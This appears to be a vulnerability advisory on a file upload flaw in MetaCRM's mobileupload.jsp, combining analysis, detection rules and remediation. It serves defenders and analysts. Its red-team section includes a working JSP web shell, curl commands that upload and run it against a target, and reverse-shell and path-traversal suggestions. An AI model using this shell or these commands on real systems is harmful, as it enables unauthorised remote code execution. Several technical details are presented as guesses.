CVE-2025-7879

Executive Summary

CVE-2025-7879 is a critical unrestricted file upload vulnerability in Metasoft 美特软件 MetaCRM, affecting versions up to 6.4.2. The flaw resides in the mobileupload.jsp endpoint, where the File argument is not properly sanitized, allowing an unauthenticated remote attacker to upload arbitrary files, including web shells. This can lead to complete server compromise, data exfiltration, and lateral movement within the network. The vendor has not responded to disclosure, and no official patch is available. Public exploit code has been released, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a proprietary Java-based CRM application. The risk is primarily to organizations that have deployed MetaCRM internally or as a SaaS offering.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerable component and impacted component are the same.
• Confidentiality Impact: Low (C:L) - Limited data access possible.
• Integrity Impact: Low (I:L) - Limited data modification possible.
• Availability Impact: Low (A:L) - Limited service disruption possible.

Threat Level: High. Despite the medium CVSS score, the public availability of exploit code and the lack of a patch make this a critical risk for any organization using MetaCRM.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the mobileupload.jsp file. This endpoint is likely used for mobile client file synchronization or attachment uploads. The application fails to validate the file type, content, or path of the uploaded file.

Attack Flow:

1. An attacker identifies a MetaCRM instance (e.g., via Shodan or Google dorking).
2. The attacker sends a POST request to /mobileupload.jsp with a multipart form-data containing a malicious file (e.g., a JSP web shell).
3. The server accepts the file and stores it in a web-accessible directory (e.g., /uploads/ or /files/).
4. The attacker accesses the uploaded file via a browser, executing the web shell.
5. The attacker now has remote code execution on the server with the privileges of the web server (typically tomcat or www-data).

Root Cause: The mobileupload.jsp file likely uses a method like request.getPart("File") or fileUpload.parseRequest(request) without checking the file extension, MIME type, or content. The file is then written to disk using a predictable path.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable implementation in Java might look like this:

Vulnerable Code (Java/JSP):

// Vulnerable: No validation
Part filePart = request.getPart("File");
String fileName = filePart.getSubmittedFileName();
String uploadPath = getServletContext().getRealPath("") + File.separator + "uploads";
File uploads = new File(uploadPath);
if (!uploads.exists()) uploads.mkdirs();
File file = new File(uploads, fileName);
try (InputStream input = filePart.getInputStream();
     OutputStream output = new FileOutputStream(file)) {
    byte[] buffer = new byte[1024];
    int bytesRead;
    while ((bytesRead = input.read(buffer)) != -1) {
        output.write(buffer, 0, bytesRead);
    }
}

Patched Code (Hypothetical):

// Patched: Validate file extension and content
Part filePart = request.getPart("File");
String fileName = filePart.getSubmittedFileName();
// Whitelist allowed extensions
String[] allowedExtensions = {".jpg", ".png", ".pdf", ".docx"};
boolean valid = false;
for (String ext : allowedExtensions) {
    if (fileName.toLowerCase().endsWith(ext)) {
        valid = true;
        break;
    }
}
if (!valid) {
    response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type");
    return;
}
// Validate MIME type
String mimeType = filePart.getContentType();
if (!mimeType.startsWith("image/") && !mimeType.equals("application/pdf")) {
    response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid MIME type");
    return;
}
// Store file outside web root
String uploadPath = "/var/data/uploads/";
File uploads = new File(uploadPath);
if (!uploads.exists()) uploads.mkdirs();
// Generate random filename to prevent path traversal
String safeFileName = UUID.randomUUID().toString() + fileName.substring(fileName.lastIndexOf("."));
File file = new File(uploads, safeFileName);
// ... rest of file writing logic

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target MetaCRM instance (version <= 6.4.2).
• A web shell payload (e.g., a JSP file).

Exploit Steps:

1. Craft a JSP Web Shell: Create a file named shell.jsp with the following content:

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   if (cmd != null) {
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   }
   %>
   

2. Upload the Web Shell using cURL:

   curl -X POST -F "File=@shell.jsp" http://target.com/mobileupload.jsp
   

3. Execute Commands: Access the uploaded shell at a predictable path (e.g., /uploads/shell.jsp):

   curl http://target.com/uploads/shell.jsp?cmd=id
   

Expected Output:

uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Advanced Exploitation:

• Use a meterpreter payload for a reverse shell.
• Upload a .war file to deploy a malicious application.
• Use path traversal in the filename (e.g., ../../bin/shell.jsp) to overwrite critical files.

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /mobileupload.jsp - Look for unusual file extensions (.jsp, .war, .exe).
2. Check for new files in web-accessible directories - Especially in /uploads/, /files/, or /temp/.
3. Analyze web server logs for suspicious POST requests with large payloads.
4. Look for outbound connections from the web server to unknown IPs (potential reverse shell).

Hunting Queries:

• Search for files with .jsp extension in the web root that were created recently.
• Look for processes spawned by the web server user (e.g., tomcat running bash or cmd.exe).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_7879_MetaCRM_WebShell {
    meta:
        description = "Detects JSP web shells uploaded via CVE-2025-7879"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7879"
    strings:
        $jsp_tag = "<%" nocase
        $cmd_param = "cmd=" nocase
        $exec_method = "Runtime.getRuntime().exec" nocase
        $process_builder = "ProcessBuilder" nocase
    condition:
        $jsp_tag and ($cmd_param or $exec_method or $process_builder)
}

Sigma Rule

title: CVE-2025-7879 MetaCRM Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload malicious files to MetaCRM mobileupload.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/mobileupload.jsp'
        cs-uri-query|contains: 'File='
    filter:
        cs-uri-query|endswith:
            - '.jpg'
            - '.png'
            - '.pdf'
    condition: selection and not filter
falsepositives:
    - Legitimate file uploads by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7879 MetaCRM Unrestricted File Upload"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/mobileupload.jsp"; http.request_body; content:"Content-Disposition: form-data; name=\"File\""; fileext; content:!"jpg"; content:!"png"; content:!"pdf"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the network if possible.
2. Block access to /mobileupload.jsp at the web server or WAF level:
   • Apache: RedirectMatch 403 /mobileupload.jsp
   • Nginx: location = /mobileupload.jsp { deny all; }
3. Remove any suspicious files from the web root.
4. Review web server logs for signs of compromise.

Long-term Fix:

• Since no patch is available, consider migrating to a different CRM solution.
• Implement a Web Application Firewall (WAF) with rules to block file uploads with dangerous extensions.
• Apply the principle of least privilege to the web server user.
• Regularly monitor for new files in web-accessible directories.

Workaround:

• If the mobileupload.jsp functionality is not critical, delete or rename the file.
• Implement a reverse proxy that validates file uploads before forwarding to the backend.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert